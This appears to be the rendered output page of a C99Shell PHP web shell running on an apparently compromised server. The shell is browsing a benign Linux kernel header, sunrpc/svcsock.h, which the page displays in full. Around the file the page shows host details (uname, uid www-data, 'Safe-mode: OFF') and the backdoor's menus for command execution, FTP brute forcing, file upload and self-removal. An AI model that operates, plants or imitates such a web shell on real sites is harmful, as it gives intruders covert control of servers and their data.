!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-oracle-6.8-headers-6.8.0-1028/include/linux/sunrpc/   drwxr-xr-x
Free 83.32 GB of 96.73 GB (86.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     svcsock.h (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * linux/include/linux/sunrpc/svcsock.h
 *
 * RPC server socket I/O.
 *
 * Copyright (C) 1995, 1996 Olaf Kirch <[email protected]>
 */

#ifndef SUNRPC_SVCSOCK_H
#define SUNRPC_SVCSOCK_H

#include <linux/sunrpc/svc.h>
#include <linux/sunrpc/svc_xprt.h>

/*
 * RPC server socket.
 */
struct svc_sock {
    struct svc_xprt        sk_xprt;
    struct socket *        sk_sock;    /* berkeley socket layer */
    struct sock *        sk_sk;        /* INET layer */

    /* We keep the old state_change and data_ready CB's here */
    void            (*sk_ostate)(struct sock *);
    void            (*sk_odata)(struct sock *);
    void            (*sk_owspace)(struct sock *);

    /* private TCP part */
    /* On-the-wire fragment header: */
    __be32            sk_marker;
    /* As we receive a record, this includes the length received so
     * far (including the fragment header): */
    u32            sk_tcplen;
    /* Total length of the data (not including fragment headers)
     * received so far in the fragments making up this rpc: */
    u32            sk_datalen;

    struct page_frag_cache  sk_frag_cache;

    struct completion    sk_handshake_done;

    struct page *        sk_pages[RPCSVC_MAXPAGES];    /* received data */
};

static inline u32 svc_sock_reclen(struct svc_sock *svsk)
{
    return be32_to_cpu(svsk->sk_marker) & RPC_FRAGMENT_SIZE_MASK;
}

static inline u32 svc_sock_final_rec(struct svc_sock *svsk)
{
    return be32_to_cpu(svsk->sk_marker) & RPC_LAST_STREAM_FRAGMENT;
}

/*
 * Function prototypes.
 */
void        svc_recv(struct svc_rqst *rqstp);
void        svc_send(struct svc_rqst *rqstp);
void        svc_drop(struct svc_rqst *);
void        svc_sock_update_bufs(struct svc_serv *serv);
int        svc_addsock(struct svc_serv *serv, struct net *net,
                const int fd, char *name_return, const size_t len,
                const struct cred *cred);
void        svc_init_xprt_sock(void);
void        svc_cleanup_xprt_sock(void);

/*
 * svc_makesock socket characteristics
 */
#define SVC_SOCK_DEFAULTS    (0U)
#define SVC_SOCK_ANONYMOUS    (1U << 0)    /* don't register with pmap */
#define SVC_SOCK_TEMPORARY    (1U << 1)    /* flag socket as temporary */

#endif /* SUNRPC_SVCSOCK_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0035 ]--